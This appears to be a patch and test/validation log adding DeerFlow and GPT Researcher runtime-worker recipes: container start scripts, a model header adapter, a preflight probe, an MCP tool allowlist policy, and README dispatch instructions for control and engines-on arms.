(tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_preserves_known_pass_and_fail_without_a_local_verdict) ... ok +test_adapter_rejects_missing_malformed_and_unfinished_output (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_rejects_missing_malformed_and_unfinished_output) ... ok +test_gateway_headers_preserve_affinity_and_new_call_identity (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ok +test_gateway_reader_is_read_only_and_uses_only_approved_columns (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok +test_gateway_rejects_non_gpt6_model_routes (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_rejects_non_gpt6_model_routes) ... ok +test_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ok +test_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... ok +test_inspect_solver_transports_only_input_and_preserves_upstream_task (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_inspect_solver_transports_only_input_and_preserves_upstream_task) ... ok +test_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ok +test_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok +test_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok +test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok +test_native_trace_does_not_count_failed_children_as_completed (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok +test_owned_compose_resources_and_loopback_ports (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_owned_compose_resources_and_loopback_ports) ... ok +test_pins_and_script_boundaries (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ok +test_real_upstream_gaia_known_pass_and_fail_controls (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_real_upstream_gaia_known_pass_and_fail_controls) ... skipped 'pinned upstream grader unavailable; installation prohibited in builder' +test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok +test_reviewable_recipe_and_empty_result_rejection (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... ok +test_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ok +test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets) ... ok +test_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets) ... ok +test_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards) ... ok +test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key) ... ok +test_round3_dispatch_cli_accepts_prompt_after_options (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options) ... ok +test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files) ... ok +test_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence) ... ok +test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ok +test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized) ... ok +test_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only) ... ok +test_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... {"result_path": "fixture"} +{"status_path": "/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/status.json", "result_path": "/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/result.json"} +{"result_path": "/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/result.json", "exit_code": 1} +ok +test_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ok +test_round3_installed_entrypoints_have_their_local_dependencies (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies) ... ok +test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm) ... ok +test_round3_missing_host_setup_still_writes_status_and_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result) ... {"status_path": "/.round3-tmp/tmpsseosh8_/runs/missing/status.json", "result_path": "/.round3-tmp/tmpsseosh8_/runs/missing/result.json"} +{"result_path": "/.round3-tmp/tmpsseosh8_/runs/missing/result.json", "exit_code": 2} +ok +test_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... ok +test_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort) ... ok +test_skills_use_coordinator_project_installer (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_skills_use_coordinator_project_installer) ... ok +test_tool_limits_are_enforced_not_only_described (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ok +test_transport_runs_owned_container_and_retains_failed_attempts (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ok + +---------------------------------------------------------------------- +Ran 39 tests in 0.406s + +OK (skipped=1) +``` + +### final-validator-completion + +Command (exit 1): + +```sh +rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py +``` + +Returned output: + +```text +Publication validation failed: +blueprints/runtime-workers/deerflow/README.md: SHA-256 mismatch +blueprints/runtime-workers/deerflow/README.md: byte count mismatch +blueprints/runtime-workers/deerflow/compose.json.template: SHA-256 mismatch +blueprints/runtime-workers/deerflow/compose.json.template: byte count mismatch +blueprints/runtime-workers/deerflow/config.yaml.template: SHA-256 mismatch +blueprints/runtime-workers/deerflow/config.yaml.template: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/receipt.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/receipt.py: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/run.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/run.py: byte count mismatch +blueprints/runtime-workers/deerflow/extensions_config.json.template: SHA-256 mismatch +blueprints/runtime-workers/deerflow/extensions_config.json.template: byte count mismatch +blueprints/runtime-workers/deerflow/pins.json: SHA-256 mismatch +blueprints/runtime-workers/deerflow/pins.json: byte count mismatch +blueprints/runtime-workers/deerflow/recipe.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/recipe.py: byte count mismatch +blueprints/runtime-workers/deerflow/run-e2e.sh: SHA-256 mismatch +blueprints/runtime-workers/deerflow/run-e2e.sh: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/gateway-start.sh: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/gateway-start.sh: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_headers.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_headers.py: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_model.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_model.py: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/nginx-start.sh: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/nginx-start.sh: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/preflight.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/preflight.py: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/redis-start.sh: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/redis-start.sh: byte count mismatch +tests/test_runtime_worker_deerflow.py: SHA-256 mismatch +tests/test_runtime_worker_deerflow.py: byte count mismatch +``` + +### final-diff-check + +Command (exit 0): + +```sh +rtk env PYTHONDONTWRITEBYTECODE=1 GIT_OPTIONAL_LOCKS=0 git diff --check +``` + +Returned output: empty: + +```text +``` + +Scratch cleanup exited 0; its returned output was: + +```text +Removed .round3-tmp/rechecked.lock and empty .round3-tmp +Cache files/directories: [] +``` diff --git a/blueprints/runtime-workers/deerflow/run-e2e.sh b/blueprints/runtime-workers/deerflow/run-e2e.sh new file mode 100755 index 000000000..e073949ec --- /dev/null +++ b/blueprints/runtime-workers/deerflow/run-e2e.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash +# Inspect AI@0.3.271 providers.py:361-365; log/_log.py:798-895. +set -euo pipefail +umask 077 +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +export PYTHONDONTWRITEBYTECODE=1 +exec python3 "$recipe_dir/e2e/evaluate.py" "$@" diff --git a/blueprints/runtime-workers/deerflow/runtime/frontend-start.sh b/blueprints/runtime-workers/deerflow/runtime/frontend-start.sh new file mode 100644 index 000000000..640a436cf --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/frontend-start.sh @@ -0,0 +1,6 @@ +#!/bin/sh +# Source: frontend/Dockerfile prod CMD; Next.js start hostname option. +set -eu +ip="$(hostname -i)" +cd /app/frontend +exec pnpm start --hostname "$ip" diff --git a/blueprints/runtime-workers/deerflow/runtime/gateway-start.sh b/blueprints/runtime-workers/deerflow/runtime/gateway-start.sh new file mode 100644 index 000000000..d687f5c2c --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/gateway-start.sh @@ -0,0 +1,10 @@ +#!/bin/sh +# Source: docker/docker-compose.yaml:105; explicit container-interface listener. +set -eu +if [ -f /run/secrets/redis-password ]; then + DEER_FLOW_STREAM_BRIDGE_REDIS_URL="redis://:$(cat /run/secrets/redis-password)@redis:6379/0" + export DEER_FLOW_STREAM_BRIDGE_REDIS_URL +fi +ip="$(python -c 'import socket; print(socket.gethostbyname(socket.gethostname()))')" +cd /app/backend +exec uv run --no-sync uvicorn app.gateway.app:app --host "$ip" --port 8001 --workers 1 diff --git a/blueprints/runtime-workers/deerflow/runtime/gateway_headers.py b/blueprints/runtime-workers/deerflow/runtime/gateway_headers.py new file mode 100644 index 000000000..063d8c3ec --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/gateway_headers.py @@ -0,0 +1,22 @@ +"""Request metadata for the pinned langchain-openai payload hook; see pins.json.""" +import hashlib +import os +import uuid + + +def call_headers(scope): + namespace = os.environ.get("DEERFLOW_SESSION_NAMESPACE", "deerflow-worker") + # One embedded conversation owns this process, including child/background + # calls. Interactive workers without this variable retain native thread scope. + scope = os.environ.get("DEERFLOW_CONVERSATION_ID") or scope + affinity = hashlib.sha256((namespace + ":" + str(scope)).encode()).hexdigest() + arm = os.environ.get("RUNTIME_WORKER_ARM", "control") + if arm not in {"control", "engines-on"}: + raise ValueError("invalid runtime worker arm") + headers = { + "x-omniroute-session": affinity, + "Idempotency-Key": str(uuid.uuid4()), + } + if arm == "engines-on": + headers["x-omniroute-compression"] = "allow-lossy" + return headers diff --git a/blueprints/runtime-workers/deerflow/runtime/gateway_model.py b/blueprints/runtime-workers/deerflow/runtime/gateway_model.py new file mode 100644 index 000000000..1a74bee68 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/gateway_model.py @@ -0,0 +1,40 @@ +"""Thin ChatOpenAI extension, not a replacement model client. + +Source: langchain-openai 1.2.1 chat_models/base.py:1683-1712,3327-3345; +SHA256-verified sdist and DeerFlow model factory references are in pins.json. +Structured output uses upstream function_calling (base.py:2400-2440), without +strict schema enforcement; its native parser still validates the returned value. +Raw JSON modes are refused, since OmniRoute's moved system instructions cannot +satisfy json_object's input-message condition. OpenAI SDK retries reuse a payload. +""" +from langchain_openai import ChatOpenAI as UpstreamChatOpenAI +from langgraph.config import get_config +from gateway_headers import call_headers + + +class ChatOpenAI(UpstreamChatOpenAI): + def with_structured_output(self, schema=None, *, method="function_calling", + include_raw=False, strict=None, **kwargs): + if kwargs.get("tools"): + raise ValueError("Use bind_tools for mixed tools; this structured-output adapter selects one tool") + kwargs.pop("tools", None) + return super().with_structured_output( + schema, method="function_calling", include_raw=include_raw, strict=False, **kwargs + ) + + def _get_request_payload(self, input_, *, stop=None, **kwargs): + payload = super()._get_request_payload(input_, stop=stop, **kwargs) + if payload.get("response_format") or payload.get("text", {}).get("format", {}).get("type", "text") != "text": + raise ValueError("Use with_structured_output or bind_tools; raw JSON response formats are not enabled") + try: + scope = get_config().get("configurable", {}).get("thread_id", "background") + except RuntimeError: + scope = "background" + payload["extra_headers"] = { + **(payload.get("extra_headers") or {}), **call_headers(scope) + } + payload.pop("temperature", None) + # Responses payload at langchain-openai@1.2.1 base.py:3327-3345. + # Force every lead, summary and child call to the round-3 max contract. + payload["reasoning"] = {**(payload.get("reasoning") or {}), "effort": "max"} + return payload diff --git a/blueprints/runtime-workers/deerflow/runtime/nginx-start.sh b/blueprints/runtime-workers/deerflow/runtime/nginx-start.sh new file mode 100644 index 000000000..778648059 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/nginx-start.sh @@ -0,0 +1,9 @@ +#!/bin/sh +# Source: docker/docker-compose.yaml:57-59 and docker/nginx/nginx.conf:40-41. +set -eu +ip="$(hostname -i)" +sed -e "s/listen 2026 default_server;/listen ${ip}:2026 default_server;/" \ + -e '/listen \[::\]:2026 default_server;/d' \ + -e '/^[[:space:]]*user[[:space:]]/d' \ + -e 's@pid[[:space:]][^;]*;@pid /tmp/nginx.pid;@' /config/nginx.conf > /tmp/nginx.conf +exec nginx -c /tmp/nginx.conf -g 'daemon off;' diff --git a/blueprints/runtime-workers/deerflow/runtime/preflight.py b/blueprints/runtime-workers/deerflow/runtime/preflight.py new file mode 100644 index 000000000..26e4484c5 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/preflight.py @@ -0,0 +1,55 @@ +"""Host acceptance probe, based on v2.1.0 mcp/tools.py and tests/test_model_factory.py. + +Run later inside the pinned image; no model invocation. Discovery and QMD status +are prerequisite checks, not acceptance of research or coding tool execution. +""" +import asyncio +import json +import os + + +async def main(): + from deerflow.config.app_config import reload_app_config + from deerflow.config.extensions_config import ExtensionsConfig + from deerflow.mcp.client import build_servers_config + from deerflow.models.factory import create_chat_model + from deerflow.skills.storage import get_or_new_user_skill_storage + from langchain_mcp_adapters.client import MultiServerMCPClient + from worker_policy import POLICY, tool_allowed + + reload_app_config(os.environ["DEER_FLOW_CONFIG_PATH"]) + model = create_chat_model("worker", thinking_enabled=True) + one = model._get_request_payload("offline configuration probe") + two = model._get_request_payload("offline configuration probe") + assert model.use_responses_api and model.streaming + assert "input" in one and "temperature" not in one + assert one["extra_headers"]["Idempotency-Key"] != two["extra_headers"]["Idempotency-Key"] + assert one["extra_headers"]["x-omniroute-session"] == two["extra_headers"]["x-omniroute-session"] + config = ExtensionsConfig.from_file() + client = MultiServerMCPClient(build_servers_config(config), tool_name_prefix=True) + counts = {} + for server, server_config in config.mcp_servers.items(): + if not server_config.enabled: + continue + tools = await asyncio.wait_for(client.get_tools(server_name=server), timeout=130) + allowed = [t.name for t in tools if tool_allowed(t.name)] + assert allowed, "enabled MCP server has no allowed tools" + counts[server] = len(allowed) + if server == "qmd": + status_tool = next(t for t in tools if t.name == "qmd_status") + status = json.dumps(await status_tool.ainvoke({}), default=str) + assert all(name in status for name in POLICY["qmd_collections"]), "QMD collections missing" + names = {s.name for s in get_or_new_user_skill_storage("default").load_skills(enabled_only=True)} + required = {"search-first", "verification-before-completion"} + assert required <= names, "pinned skills are not visible through upstream storage" + print(json.dumps({"passed": True, "model_invoked": False, + "discovered_allowed_tools": counts, "required_skills_visible": sorted(required), + "skills_listed_at_start": sorted(names), "skill_activation_proven": False})) + + +if __name__ == "__main__": + try: + asyncio.run(main()) + except Exception as exc: + print(json.dumps({"passed": False, "error_class": type(exc).__name__})) + raise SystemExit(1) from None diff --git a/blueprints/runtime-workers/deerflow/runtime/redis-start.sh b/blueprints/runtime-workers/deerflow/runtime/redis-start.sh new file mode 100644 index 000000000..a8e4e79f5 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/redis-start.sh @@ -0,0 +1,10 @@ +#!/bin/sh +# Source: upstream Compose redis command; Redis image entrypoint normally chowns +# a host bind to its redis UID. Root inside rootless Docker retains the host user's +# ownership here, and is not host root. Only the private bridge address listens. +set -eu +ip="$(hostname -i)" +# redis/redis@7.4.2 redis.conf:1042-1050 (requirepass); secret is never argv. +printf 'bind %s\nappendonly yes\nrequirepass %s\n' "$ip" "$(cat /run/secrets/redis-password)" > /tmp/redis.conf +chmod 600 /tmp/redis.conf +exec redis-server /tmp/redis.conf diff --git a/blueprints/runtime-workers/deerflow/runtime/stdio.sh b/blueprints/runtime-workers/deerflow/runtime/stdio.sh new file mode 100644 index 000000000..17cabe2b5 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/stdio.sh @@ -0,0 +1,6 @@ +#!/bin/sh +# Source: DeerFlow v2.1.0 mcp/client.py:25-33 forwards command/args/env, not cwd. +# Preserve the adoption template's executable and argv while fixing its cwd. +set -eu +cd /work +exec "$@" diff --git a/blueprints/runtime-workers/deerflow/runtime/tool-policy.json b/blueprints/runtime-workers/deerflow/runtime/tool-policy.json new file mode 100644 index 000000000..ec0992493 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/tool-policy.json @@ -0,0 +1,69 @@ +{ + "source": "DeerFlow v2.1.0 authz/provider.py + authz/rbac.py; adoption/templates/codex{,.stack-worker}.config*.toml and project.codex.config.template.toml", + "builtin_tools": [ + "ls", + "read_file", + "glob", + "grep", + "write_file", + "str_replace", + "bash", + "task", + "write_todos", + "present_files", + "tool_search", + "describe_skill" + ], + "servers": { + "context-mode": { + "allow": "*", + "deny": [ + "ctx_upgrade", + "ctx_purge" + ] + }, + "serena": { + "allow": "*", + "deny": [] + }, + "jcodemunch": { + "allow": [ + "route", + "menu", + "order" + ] + }, + "qmd": { + "allow": [ + "query", + "get", + "multi_get", + "status" + ] + }, + "ai-memory": { + "allow": [ + "memory_query", + "memory_read_page", + "memory_recent", + "memory_status", + "memory_briefing" + ] + }, + "socraticode": { + "allow": [ + "codebase_search", + "codebase_status", + "codebase_list_projects", + "codebase_health" + ] + } + }, + "qmd_collections": [ + "foundation-docs", + "foundation-adoption", + "us-equities-foundation", + "us-equities-catalog" + ], + "headroom": "omitted: native tool_output already externalizes large results" +} diff --git a/blueprints/runtime-workers/deerflow/runtime/worker_policy.py b/blueprints/runtime-workers/deerflow/runtime/worker_policy.py new file mode 100644 index 000000000..fffaaedd4 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/runtime/worker_policy.py @@ -0,0 +1,75 @@ +"""Native AuthorizationProvider adapter for the adopted MCP tool contract. + +References at DeerFlow v2.1.0: authz/provider.py:1-21,55-126, +authz/rbac.py:59-72, authz/adapter.py, authz/tool_filter.py. +DeerFlow applies this provider at schema assembly AND before tool execution. +This is tool policy, not a security sandbox for the allowed bash/ctx_execute. +""" +import json +from pathlib import Path, PurePosixPath + +POLICY = json.loads(Path(__file__).with_name("tool-policy.json").read_text()) + + +def tool_allowed(name): + if name in POLICY["builtin_tools"]: + return True + for server, rule in POLICY["servers"].items(): + prefix = server + "_" + if name.startswith(prefix): + tool = name[len(prefix):] + return (rule["allow"] == "*" or tool in rule["allow"]) and tool not in rule.get("deny", []) + return False + + +def _scoped_qmd_path(value): + if not isinstance(value, str) or not value.startswith("qmd://"): + return False + collection, sep, path = value[6:].partition("/") + return bool(sep and path and collection in POLICY["qmd_collections"] + and ".." not in PurePosixPath(path).parts and not path.startswith("/")) + + +def arguments_allowed(name, args): + if name == "qmd_query": + cols = args.get("collections") + searches = args.get("searches") + return bool(isinstance(cols, list) and cols + and all(c in POLICY["qmd_collections"] for c in cols) + and args.get("rerank") is False and "query" not in args + and isinstance(searches, list) and searches + and all(isinstance(s, dict) and s.get("type") == "lex" for s in searches)) + if name == "qmd_get": + return _scoped_qmd_path(args.get("file")) + if name == "qmd_multi_get": + pattern = args.get("pattern", "") + return bool(isinstance(pattern, str) and pattern + and all(_scoped_qmd_path(x.strip()) for x in pattern.split(","))) + return True + + +class WorkerAuthorization: + name = "runtime-worker-token-policy" + + def filter_resources(self, principal, resource_type, candidates): + if resource_type == "tool": + return [x for x in candidates if tool_allowed(x)] + if resource_type == "mcp_server": + return [x for x in candidates if x in POLICY["servers"]] + return candidates + + def authorize(self, request): + from deerflow.authz.provider import AuthzDecision, AuthzReason + allowed = True + if request.resource == "tool": + allowed = tool_allowed(request.target) and arguments_allowed( + request.target, request.context.get("tool_input", {}) + ) + elif request.resource == "mcp_server": + allowed = request.target in POLICY["servers"] + return AuthzDecision(allow=allowed, reasons=[AuthzReason( + code="worker.allowed" if allowed else "worker.tool_scope" + )]) + + async def aauthorize(self, request): + return self.authorize(request) diff --git a/blueprints/runtime-workers/gpt-researcher/README.md b/blueprints/runtime-workers/gpt-researcher/README.md new file mode 100644 index 000000000..1068230c3 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/README.md @@ -0,0 +1,325 @@ +# GPT Researcher runtime worker — round 3 + +This recipe retains **assafelovic/gpt-researcher v3.7.0**, source commit +`0957c301ed06c2a5857b834358c7227c739041d4`, package metadata `0.16.0`. +The source archive and three dependency locks remain unchanged. The CLI, +retry function and URL guard now also have individual hashes in [pins.json](pins.json). +The older PyPI wheel is not substituted for this source revision. + +## Native qualification, 2026-09-30 + +An isolated native installation completed for the runtime, MCP proxy and +DRB-II grader. Native compatibility checks passed for 198, 68 and 8 +distributions respectively. Six selected unchanged upstream test files returned +**24 passed, two warnings**, exit 0. The exact source/test hashes and returned +output are in the [qualification receipt](../../../evidence/artifacts/runtime-roster-20260930/gpt-researcher-native.json). +No model report, citation-quality score or whole-task usage was measured. +The older round-3 construction records below retain their historical scope. + +The selected workflow entry point is the upstream CLI. [cli_runner.py](cli_runner.py) +loads its unchanged parser and calls its unchanged `main` inside the existing +HTTPX transport context. This small launcher preserves correlation capture, +request guards and per-generation headers; it does not replace the native research +pipeline. The CLI still uses DuckDuckGo and keyword context filtering without MCP +configuration. The separately selected E2E task uses the upstream Python SDK with +scoped MCP retrievers and the unchanged DRB-II grader. +Sources: [GPTR@0957c301 cli.py:306–362](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/cli.py#L306-L362), +[config/config.py:158–166](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/config/config.py#L158-L166). + +## Installation + +The coordinator runs `bash install.sh` on the host. The earlier round-3 repair +performed no host installs, model calls, gateway requests or container starts; +the later native qualification is recorded above. The native +prefix is `$HOME/.local/share/codex-ecosystem/tools/gpt-researcher-3.7.0`; the lock +target is Linux x86_64 and CPython 3.12. Worker/proxy/build requirements use hashed +locks, and source builds use the already locked build requirements with +`--no-build-isolation`. The installed source and installation-pins receipt must +match this recipe before dispatch. + +The grader uses its own upstream lock and separate venv: + +```sh +uv sync --locked --no-build --no-install-project --project "$grader_source" --python "$python_bin" +``` + +`--no-build` refuses source builds; `--no-install-project` avoids building the +benchmark package, whose scripts need only its locked dependencies. No upstream +grading source, container configuration or resource limit is changed. Sources: +[DRB-II@b38f360 pyproject.toml:1–12](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/pyproject.toml#L1-L12), +[its native installation](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/README.md#L287-L303), +[uv sync options](https://docs.astral.sh/uv/reference/cli/#uv-sync). +The repair checked installed `uv 0.12.17` and its `sync --help`; native install +acceptance on another host remains a separate check. + +## Workflow dispatch + +Run these from the checkout root through the workflow child's Bash tool. Choose a +unique, stable run ID (letters, digits, underscores and hyphens; maximum 64 characters). +`query_file` is an existing UTF-8 file containing the research question. + +```sh +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh start \ + --run-id gptr-control-001 --arm control --query-file "$query_file" +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh wait \ + --run-id gptr-control-001 --timeout 30 +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh result \ + --run-id gptr-control-001 +``` + +`start` writes `status.json` before launch, detaches a bounded supervisor and +returns immediately. The child need not keep a foreground Bash tool call open +for research. `wait` accepts at most 60 seconds and returns 76 while pending; +repeat it until complete. `result` returns the current state or the final result. +All valid attempts use the same JSON envelope, including setup failure, busy, +native failure, timeout and pass. The deterministic paths printed relative to +`$HOME/.local/state/native-agent-stack/runtime-workers/gpt-researcher` are: + +```text +runs/gptr-control-001/status.json +runs/gptr-control-001/dispatch-result.json +runs/gptr-control-001/receipt.json +``` + +Reusing a run ID is a setup error and never overwrites the existing attempt. +The same shared lock serializes CLI and E2E across both arms. A busy attempt has +its own result and receipt; retry with a new ID. The native timeout process also +inherits the lock descriptor, so a lost supervisor does not immediately admit +another worker. Host cancellation and orphan cleanup still need native observation. +The subprocess mechanism follows +[CPython@v3.12.12 subprocess.rst:565–568,595–599](https://github.com/python/cpython/blob/v3.12.12/Doc/library/subprocess.rst#L565-L599) +and [fcntl locking](https://github.com/python/cpython/blob/v3.12.12/Doc/library/fcntl.rst). + +| Final code | Exit class | Meaning | +| --- | --- | --- | +| 0 | `pass` | Native execution/output and required accounting evidence completed; no research-quality claim | +| 10 | `negative_verdict` | Native process returned a failure; this is an execution verdict, not a threshold on DRB-II scores | +| 20 | `setup_failure` | Invalid inputs, missing/stale installation or unavailable setup | +| 30 | `incomplete_evidence` | Timeout, interrupted supervisor, malformed/missing output or incomplete accounting | +| 75 | `busy` | Another recipe attempt holds the shared lock | +| 76 | `running` | Wait/result is pending; start returns 0 only to acknowledge launch | + +For benchmark dispatch, use the same sequence with `--mode e2e` and no query file: + +```sh +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh start \ + --mode e2e --run-id gptr-e2e-control-001 --arm control +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh wait \ + --run-id gptr-e2e-control-001 --timeout 30 +rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh result \ + --run-id gptr-e2e-control-001 +``` + +The foreground compatibility entry point is +`GPTR_RUN_ID=gptr-e2e-control-001 RUNTIME_WORKER_ARM=control bash blueprints/runtime-workers/gpt-researcher/run-e2e.sh`. +It uses the same supervisor and envelope. CLI research has a 1800-second deadline; +E2E research/grading each have 1800 seconds within a 3700-second outer deadline, +plus a 20-second kill grace. These are worker invocation deadlines, not changes +to an upstream grading container. + +For invocation accounting, join the child's native `child-usage.mjs` record to +Claude `claude_code.tool_result` OTel events. Count Bash `start` or foreground +`run-e2e.sh` launches, deduplicated by `tool_use_id`; wait/result calls are polls. +`OTEL_LOG_TOOL_DETAILS=1` must expose the wrapper path in `full_command`. +Source: [Claude Code tool-result events](https://code.claude.com/docs/en/monitoring-usage). +On the worker side, retain `native.log`, `native-stdout.log` and `native-stderr.log`. +CLI completions require both the native `Report written to` log line and its +matching native front-matter report. The supervisor's `invocations.jsonl` records +one launch and one native exit, including failures; these are explicitly local +lifecycle records, not invented framework events. Reconcile launches against native +logs/completions, and retain failed/incomplete attempts. OTel rewrite behavior and +child-usage reconciliation remain host checks. + +## Arms + +`RUNTIME_WORKER_ARM=control|engines-on` defaults to control. `--arm` overrides it +for dispatch. Model/base overrides must match the selected arm; mismatches fail +before any model call. This host/stdio recipe accepts loopback URLs only; it does +not introduce container gateway addresses. + +| Variable | Control | Engines on | +| --- | --- | --- | +| `RUNTIME_WORKER_ARM` | `control` | `engines-on` | +| `GPTR_BASE_URL` | `http://127.0.0.1:20128/v1` | `http://127.0.0.1:20129/v1` | +| `GPTR_MODEL` | `cx/gpt-6-astra-max` | `sharedgw/gpt-6-astra-max` 